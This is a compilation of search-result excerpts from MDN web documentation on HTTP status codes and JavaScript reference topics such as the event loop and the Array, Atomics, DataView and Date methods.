sending data in a series of chunks, the content-length header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format. see transfer-encoding for more details. status 411 length required specifications specification title rfc 7231, section 6.5.10: 411 length required hypertext transfer protocol (http/1.1): semantics and content ...
426 Upgrade Required - HTTP
the http 426 upgrade required client error response code indicates that the server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. the server
sends an upgrade header with this response to indicate the required protocol(s). status 426 upgrade required examples http/1.1 426 upgrade required upgrade: http/2.0 connection: upgrade content-length: 53 content-type: text/plain this service requires use of the http/2.0 protocol specifications specification title rfc 7231, section 6.5.15: 426 upgrade required hypertext transfer protocol (http/1.1): semantics and content ...
501 Not Implemented - HTTP
501 is the appropriate response when the server does not recognize the request method and is incapable of supporting it for any resource. the only methods that servers are required to support (and therefore that must not return 501) are get and head. ...
510 Not Extended - HTTP
the hypertext transfer protocol (http) 510 not extended response status code is sent in the context of the http extension framework, defined in rfc 2774. in that specification a client may
send a request that contains an extension declaration, that describes the extension to be used. if the server receives such a request, but any described extensions are not supported for the request, then the server responds with the 510 status code. status 510 not extended specifications specification title rfc 2774, section 7: 510 not extended an http extension framework ...
HTTP
use http with guides and tutorials. overview of http the basic features of the client-server protocol: what it can do and its intended uses. http cache caching is very important for fast web sites. this article describes different methods of caching and how to use http headers to control them. http cookies how cookies work is defined by rfc 6265. when serving an http request, a server can
send a set-cookie http header with the response. the client then returns the cookie's value with every request to the same server in the form of a cookie request header. the cookie can also be set to expire on a certain date, or restricted to a specific domain and path. cross-origin resource sharing (cors) cross-site http requests are http requests for resources from a different domain than the doma...
Concurrency model and the event loop - JavaScript
back'); }, 0); console.log('this is the end'); })(); // "this is the start" // "this is just a message" // "this is the end" // "callback 1: this is a msg from call back" // "callback 2: this is a msg from call back" several runtimes communicating together a web worker or a cross-origin iframe has its own stack, heap, and message queue. two distinct runtimes can only communicate through
sending messages via the postmessage method. this method adds a message to the other runtime if the latter listens to message events. never blocking a very interesting property of the event loop model is that javascript, unlike a lot of other languages, never blocks. handling i/o is typically performed via events and callbacks, so when the application is waiting for an indexeddb query to return or a...
JavaScript technologies overview - JavaScript
ments, as those represent list items. in general, it also forbids using elements and attributes that aren't defined in a standard. looking for the document object, window object, and the other dom elements? read the dom documentation. other notable apis the settimeout and setinterval functions were first specified on the window interface in html standard. xmlhttprequest makes it possible to
send asynchronous http requests. the css object model abstract css rules as objects. webworkers allows parallel computation. websockets allows low-level bidirectional communication. canvas 2d context is a drawing api for <canvas>. ...
static - JavaScript
d for a class. static methods aren't called on instances of the class. instead, they're called on the class itself. these are often utility functions, such as functions to create or clone objects. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax static methodname() { ... } examples using static in classes the following example demonstrates several things: how a static method is implemented on a class. that a class with a static member can be sub-classed. how a static method can and cannot be called. class triple { static triple(n = 1) { return n * 3; } } class biggertriple extends triple { ...
Default parameters - JavaScript
default function parameters allow named parameters to be initialized with default values if no value or undefined is passed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax function [name]([param1[ = defaultvalue1 ][, ..., paramn[ = defaultvaluen ]]]) { statements } description in javascript, function parameters default to undefined. however, it's often useful to set a different default value. this is where default parameters can help. in the past, the general strategy for setting defaults was to test parameter values in the function body and assign a value if they are undefined. in the following exa...
Method definitions - JavaScript
starting with ecmascript 2015, a shorter syntax for method definitions on objects initializers is introduced. it is a shorthand for a function assigned to the method's name. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax const obj = { get property() {}, set property(value) {}, property( parameters… ) {}, *generator( parameters… ) {}, async property( parameters… ) {}, async* generator( parameters… ) {}, // with computed keys get [property]() {}, set [property](value) {}, [property]( parameters… ) {}, *[generator]( parameters… ) {}, async [property]( parameters… ) {}, ...
getter - JavaScript
syntax {get prop() { ... } } {get [expression]() { ... } } parameters prop the name of the property to bind to the given function. ...
Rest parameters - JavaScript
syntax function f(a, b, ...theargs) { // ... } description a function's last parameter can be prefixed with ... ...
setter - JavaScript
syntax {set prop(val) { . . . }} {set [expression](val) { . . . }} parameters prop the name of the property to bind to the given function. ...
Array.prototype.reduce() - JavaScript
the reduce() method executes a reducer function (that you provide) on each element of the array, resulting in single output value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the reducer function takes four arguments: accumulator (acc) current value (cur) current index (idx) source array (src) your reducer function's returned value is assigned to the accumulator, whose value is remembered across each iteration throughout the array, and ultimately becomes the final, single resulting value. syntax arr.reduce(callback( accumulator, currentvalue, [, index[, array]] )[, initialvalue]) parameters callbac...
Array.prototype.concat() - JavaScript
the concat() method is used to merge two or more arrays. this method does not change the existing arrays, but instead returns a new array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax const new_array = old_array.concat([value1[, value2[, ...[, valuen]]]]) parameters valuen optional arrays and/or values to concatenate into a new array. if all valuen parameters are omitted, concat returns a shallow copy of the existing array on which it is called. see the description below for more details. return value a new array instance. description the concat method creates a new array consisting of the eleme...
Array.prototype.copyWithin() - JavaScript
the copywithin() method shallow copies part of an array to another location in the same array and returns it without modifying its length. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax arr.copywithin(target[, start[, end]]) parameters target zero-based index at which to copy the sequence to. if negative, target will be counted from the end. if target is at or greater than arr.length, nothing will be copied. if target is positioned after start, the copied sequence will be trimmed to fit arr.length. start optional zero-based index at which to start copying elements from. if negative, start will be c...
Array.prototype.every() - JavaScript
the every() method tests whether all elements in the array pass the test implemented by the provided function. it returns a boolean value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax arr.every(callback(element[, index[, array]])[, thisarg]) parameters callback a function to test for each element, taking three arguments: element the current element being processed in the array. index optional the index of the current element being processed in the array. array optional the array every was called upon. thisarg optional a value to use as this when executing callback. return value ...
Array.prototype.fill() - JavaScript
the fill() method changes all elements in an array to a static value, from a start index (default 0) to an end index (default array.length). it returns the modified array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax arr.fill(value[, start[, end]]) parameters value value to fill the array with. (note all elements in the array will be this exact value.) start optional start index, default 0. end optional end index, default arr.length. return value the modified array, filled with value. description if start is negative, it is treated as array.length + start. if end is negative, it is treat...
Array.prototype.filter() - JavaScript
the filter() method creates a new array with all elements that pass the test implemented by the provided function. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax let newarray = arr.filter(callback(element[, index, [array]])[, thisarg]) parameters callback function is a predicate, to test each element of the array. return true to keep the element, false otherwise. it accepts three arguments: element the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the array filter was called upon. thisarg...
Array.prototype.findIndex() - JavaScript
the findindex() method returns the index of the first element in the array that satisfies the provided testing function. otherwise, it returns -1, indicating that no element passed the test. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. see also the find() method, which returns the value of an array element, instead of its index. syntax arr.findindex(callback( element[, index[, array]] )[, thisarg]) parameters callback a function to execute on each value in the array until the function returns true, indicating that the satisfying element was found. it takes three arguments: element the current e...
Array.prototype.flat() - JavaScript
the flat() method creates a new array with all sub-array elements concatenated into it recursively up to the specified depth. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax var newarray = arr.flat([depth]); parameters depth optional the depth level specifying how deep a nested array structure should be flattened. defaults to 1. return value a new array with the sub-array elements concatenated into it. alternatives reduce and concat const arr = [1, 2, [3, 4]]; // to flat single level array arr.flat(); // is equivalent to arr.reduce((acc, val) => acc.concat(val), []); // [1, 2, 3, 4] // or with ...
Array.prototype.flatMap() - JavaScript
hen flattens the result into a new array. it is identical to a map() followed by a flat() of depth 1, but flatmap() is often quite useful, as merging both into one method is slightly more efficient. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax var new_array = arr.flatmap(function callback(currentvalue[, index[, array]]) { // return element for new_array }[, thisarg]) parameters callback function that produces an element of the new array, taking three arguments: currentvalue the current element being processed in the array. indexoptional the index of the current element being processed i...
Array.prototype.sort() - JavaScript
nverting the elements into strings, then comparing their sequences of utf-16 code units values. the time and space complexity of the sort cannot be guaranteed as it depends on the implementation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax arr.sort([comparefunction]) parameters comparefunction optional specifies a function that defines the sort order. if omitted, the array elements are converted to strings, then sorted according to each character's unicode code point value. firstel the first element for comparison. secondel the second element for comparison. return value the sorted...
Array.prototype.splice() - JavaScript
the splice() method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax let arrdeleteditems = array.splice(start[, deletecount[, item1[, item2[, ...]]]]) parameters start the index at which to start changing the array. if greater than the length of the array, start will be set to the length of the array. in this case, no element will be deleted but the method will behave as an adding function, adding as many element as item[n*] provided. if negative, it will begin that many elements from the e...
ArrayBuffer() constructor - JavaScript
syntax new arraybuffer(length) parameters length the size, in bytes, of the array buffer to create. return value a new arraybuffer object of the specified size. its contents are initialized to 0. ...
ArrayBuffer.prototype.slice() - JavaScript
the slice() method returns a new arraybuffer whose contents are a copy of this arraybuffer's bytes from begin, inclusive, up to end, exclusive. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax arraybuffer.slice(begin[, end]) parameters begin zero-based byte index at which to begin slicing. end optional byte index before which to end slicing. if end is unspecified, the new arraybuffer contains all bytes from begin to the end of this arraybuffer. return value a new arraybuffer object. description the slice() method copies up to, but not including, the byte indicated by the end parameter. if eithe...
Atomics.add() - JavaScript
ds a given value at a given position in the array and returns the old value at that position. this atomic operation guarantees that no other write happens until the modified value is written back. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax atomics.add(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to add a value to. value the number to add. return value the old value at the given position (typedarray[index]). exceptio...
Atomics.and() - JavaScript
h a given value at a given position in the array, and returns the old value at that position. this atomic operation guarantees that no other write happens until the modified value is written back. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax atomics.and(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to compute the bitwise and. value the number to compute the bitwise and with. return value the old value at the given posit...
Atomics.compareExchange() - JavaScript
it returns the old value at that position whether it was equal to the expected value or not. this atomic operation guarantees that no other write happens until the modified value is written back. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax atomics.compareexchange(typedarray, index, expectedvalue, replacementvalue) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to exchange a value. expectedvalue the value to check for equality. replacementvalue t...
Atomics.exchange() - JavaScript
ven position in the array and returns the old value at that position. this atomic operation guarantees that no other write happens between the read of the old value and the write of the new value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax atomics.exchange(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to exchange a value. value the number to exchange. return value the old value at the given position (typedarray[index]...
Atomics.isLockFree() - JavaScript
atomics.islockfree() method is used to determine whether to use locks or atomic operations. it returns true, if the given size is one of the bytes_per_element property of integer typedarray types. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax atomics.islockfree(size) parameters size the size in bytes to check. return value a boolean indicating whether the operation is lock free. examples using islockfree atomics.islockfree(1); // true atomics.islockfree(2); // true atomics.islockfree(3); // false atomics.islockfree(4); // true atomics.islockfree(5); // false atomics.islockfree(6); // false atomi...
Atomics.load() - JavaScript
syntax atomics.load(typedarray, index) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. ...
Atomics.or() - JavaScript
h a given value at a given position in the array, and returns the old value at that position. this atomic operation guarantees that no other write happens until the modified value is written back. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax atomics.or(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to compute the bitwise or. value the number to compute the bitwise or with. return value the old value at the given position...
Atomics.sub() - JavaScript
ts a given value at a given position in the array and returns the old value at that position. this atomic operation guarantees that no other write happens until the modified value is written back. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax atomics.sub(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to subtract a value from. value the number to subtract. return value the old value at the given position (typedarray[index]...
DataView.prototype.getFloat32() - JavaScript
the getfloat32() method gets a signed 32-bit float (float) at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.getfloat32(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data. littleendian optional indicates whether the 32-bit float is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 32-bit float number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end o...
DataView.prototype.getFloat64() - JavaScript
the getfloat64() method gets a signed 64-bit float (double) at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.getfloat64(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data. littleendian optional indicates whether the 64-bit float is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 64-bit float number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end ...
DataView.prototype.getInt16() - JavaScript
the getint16() method gets a signed 16-bit integer (short) at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.getint16(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 16-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of ...
DataView.prototype.getInt32() - JavaScript
the getint32() method gets a signed 32-bit integer (long) at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.getint32(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the view where to read the data. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 32-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of ...
DataView.prototype.getUint16() - JavaScript
the getuint16() method gets an unsigned 16-bit integer (unsigned short) at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.getuint16(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value an unsigned 16-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read b...
DataView.prototype.getUint32() - JavaScript
the getuint32() method gets an unsigned 32-bit integer (unsigned long) at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.getuint32(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value an unsigned 32-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read be...
DataView.prototype.getUint8() - JavaScript
the getuint8() method gets an unsigned 8-bit integer (unsigned byte) at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.getuint8(byteoffset) parameters byteoffset the offset, in byte, from the start of the view where to read the data. return value an unsigned 8-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getuint8 method var buffe...
DataView.prototype.setBigInt64() - JavaScript
the setbigint64() method stores a signed 64-bit integer (long long) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setbigint64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the view to store the data from. value the value to set as a bigint. the highest possible value that fits in a signed 64-bit integer is 2n ** (64n -1n) - 1n (9223372036854775807n). upon overflow, it will be negative (-9223372036854775808n). littleendian optional indicates whether the 64-bit int is store...
DataView.prototype.setBigUint64() - JavaScript
the setbiguint64() method stores an unsigned 64-bit integer (unsigned long long) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setbiguint64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the view to store the data from. value the value to set as a bigint. the highest possible value that fits in an unsigned 64-bit integer is 2n ** 64n - 1n (18446744073709551615n). upon overflow, it will be zero (0n). littleendian optional indicates whether the 64-bit int is stored in little...
DataView.prototype.setFloat32() - JavaScript
the setfloat32() method stores a signed 32-bit float (float) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setfloat32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. littleendian optional indicates whether the 32-bit float is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it w...
DataView.prototype.setFloat64() - JavaScript
the setfloat64() method stores a signed 64-bit float (double) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setfloat64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. littleendian optional indicates whether the 64-bit float is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it ...
DataView.prototype.setInt16() - JavaScript
the setint16() method stores a signed 16-bit integer (short) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setint16(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would...
DataView.prototype.setInt32() - JavaScript
the setint32() method stores a signed 32-bit integer (long) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setint32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would ...
DataView.prototype.setInt8() - JavaScript
the setint8() method stores a signed 8-bit integer (byte) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setint8(byteoffset, value) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint8(1, 3); dataview...
DataView.prototype.setUint16() - JavaScript
the setuint16() method stores an unsigned 16-bit integer (unsigned short) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setuint16(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set su...
DataView.prototype.setUint32() - JavaScript
the setuint32() method stores an unsigned 32-bit integer (unsigned long) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setuint32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set suc...
DataView.prototype.setUint8() - JavaScript
the setuint8() method stores an unsigned 8-bit integer (byte) value at the specified byte offset from the start of the dataview. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dataview.setuint8(byteoffset, value) parameters byteoffset the offset, in byte, from the start of the view where to store the data. value the value to set. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. examples using the setuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint8(1, 3); d...
Date() constructor - JavaScript
creates a javascript date instance that represents a single moment in time in a platform-independent format. date objects contain a number that represents milliseconds since 1 january 1970 utc. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax new date() new date(value) new date(datestring) new date(year, monthindex [, day [, hours [, minutes [, seconds [, milliseconds]]]]]) note: the only correct way to instantiate a new date object is by using the new operator. if you simply call the date object directly, such as now = date(), the returned value is a string rather than a date object. parameters there a...
Date.UTC() - JavaScript
the date.utc() method accepts parameters similar to the date constructor, but treats them as utc. it returns the number of milliseconds since january 1, 1970, 00:00:00 utc. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax since ecmascript 2017: date.utc(year[, month[, day[, hour[, minute[, second[, millisecond]]]]]]) ecmascript 2016 and earlier: (month used to be required) date.utc(year, month[, day[, hour[, minute[, second[, millisecond]]]]]) parameters year a full year. month an integer between 0 (january) and 11 (december) representing the month. (up through ecmascript 2016, month was a required ...
Date.prototype.getDate() - JavaScript
syntax dateobj.getdate() return value an integer number, between 1 and 31, representing the day of the month for the given date according to local time. ...
Date.prototype.getDay() - JavaScript
the getday() method returns the day of the week for the specified date according to local time, where 0 represents sunday. for the day of the month, see date.prototype.getdate(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.getday() return value an integer number, between 0 and 6, corresponding to the day of the week for the given date, according to local time: 0 for sunday, 1 for monday, 2 for tuesday, and so on. examples using getday() the second statement below assigns the value 1 to weekday, based on the value of the date object xmas95. december 25, 1995, is a monday. var xmas95 = new da...
Date.prototype.getFullYear() - JavaScript
the getfullyear() method returns the year of the specified date according to local time. use this method instead of the getyear() method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.getfullyear() return value a number corresponding to the year of the given date, according to local time. description the value returned by getfullyear() is an absolute number. for dates between the years 1000 and 9999, getfullyear() returns a four-digit number, for example, 1995. use this function to make sure a year is compliant with years after 2000. examples using getfullyear() the following example assign...
Date.prototype.getMonth() - JavaScript
the getmonth() method returns the month in the specified date according to local time, as a zero-based value (where zero indicates the first month of the year). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.getmonth() return value an integer number, between 0 and 11, representing the month in the given date according to local time. 0 corresponds to january, 1 to february, and so on. examples using getmonth() the second statement below assigns the value 11 to the variable month, based on the value of the date object xmas95. var xmas95 = new date('december 25, 1995 23:15:30'); var month = xmas9...
Date.prototype.getTime() - JavaScript
the same as a client browser in any other timezone. you can use this method to help assign a date and time to another date object. this method is functionally equivalent to the valueof() method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.gettime() return value a number representing the milliseconds elapsed between 1 january 1970 00:00:00 utc and the given date. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of new date().gettime() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is...
Date.prototype.getTimezoneOffset() - JavaScript
the gettimezoneoffset() method returns the time zone difference, in minutes, from current locale (host system settings) to utc. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.gettimezoneoffset() return value a number representing the time-zone offset, in minutes, from the date based on current host system settings to utc. description the time-zone offset is the difference, in minutes, from local time to utc. note that this means that the offset is positive if the local timezone is behind utc, and negative if it is ahead. for example, for time zone utc+10:00 (australian eastern standard time, vl...
Date.prototype.getUTCDay() - JavaScript
the getutcday() method returns the day of the week in the specified date according to universal time, where 0 represents sunday. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.getutcday() return value an integer number corresponding to the day of the week for the given date, according to universal time: 0 for sunday, 1 for monday, 2 for tuesday, and so on. examples using getutcday() the following example assigns the weekday portion of the current date to the variable weekday. var today = new date(); var weekday = today.getutcday(); specifications specification ecmascript (...
Date.prototype.getUTCMonth() - JavaScript
the getutcmonth() returns the month of the specified date according to universal time, as a zero-based value (where zero indicates the first month of the year). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.getutcmonth() return value an integer number, between 0 and 11, corresponding to the month of the given date according to universal time. 0 for january, 1 for february, 2 for march, and so on. examples using getutcmonth() the following example assigns the month portion of the current date to the variable month. var today = new date(); var month = today.getutcmonth(); specifications ...
Date.parse() - JavaScript
there are still many differences in how different hosts parse date strings, therefore date strings should be manually parsed (a library can help if many different formats are to be accommodated). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax direct call: date.parse(datestring) implicit call: new date(datestring) parameters datestring a string representing a simplification of the iso 8601 calendar date extended format. (other formats may be used, but results are implementation-dependent.) return value a number representing the milliseconds elapsed since january 1, 1970, 00:00:00 utc and the da...
Date.prototype.setFullYear() - JavaScript
the setfullyear() method sets the full year for a specified date according to local time. returns new timestamp. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.setfullyear(yearvalue[, monthvalue[, datevalue]]) parameters yearvalue an integer specifying the numeric value of the year, for example, 1995. monthvalue optional. an integer between 0 and 11 representing the months january through december. datevalue optional. an integer between 1 and 31 representing the day of the month. if you specify the datevalue parameter, you must also specify the monthvalue. return value the number of mill...
Date.prototype.setHours() - JavaScript
thod sets the hours for a specified date according to local time, and returns the number of milliseconds since january 1, 1970 00:00:00 utc until the time represented by the updated date instance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.sethours(hoursvalue[, minutesvalue[, secondsvalue[, msvalue]]]) versions prior to javascript 1.3 dateobj.sethours(hoursvalue) parameters hoursvalue ideally, an integer between 0 and 23, representing the hour. if a value greater than 23 is provided, the datetime will be incremented by the extra hours. minutesvalue optional. ideally, an integer between 0...
Date.prototype.setMinutes() - JavaScript
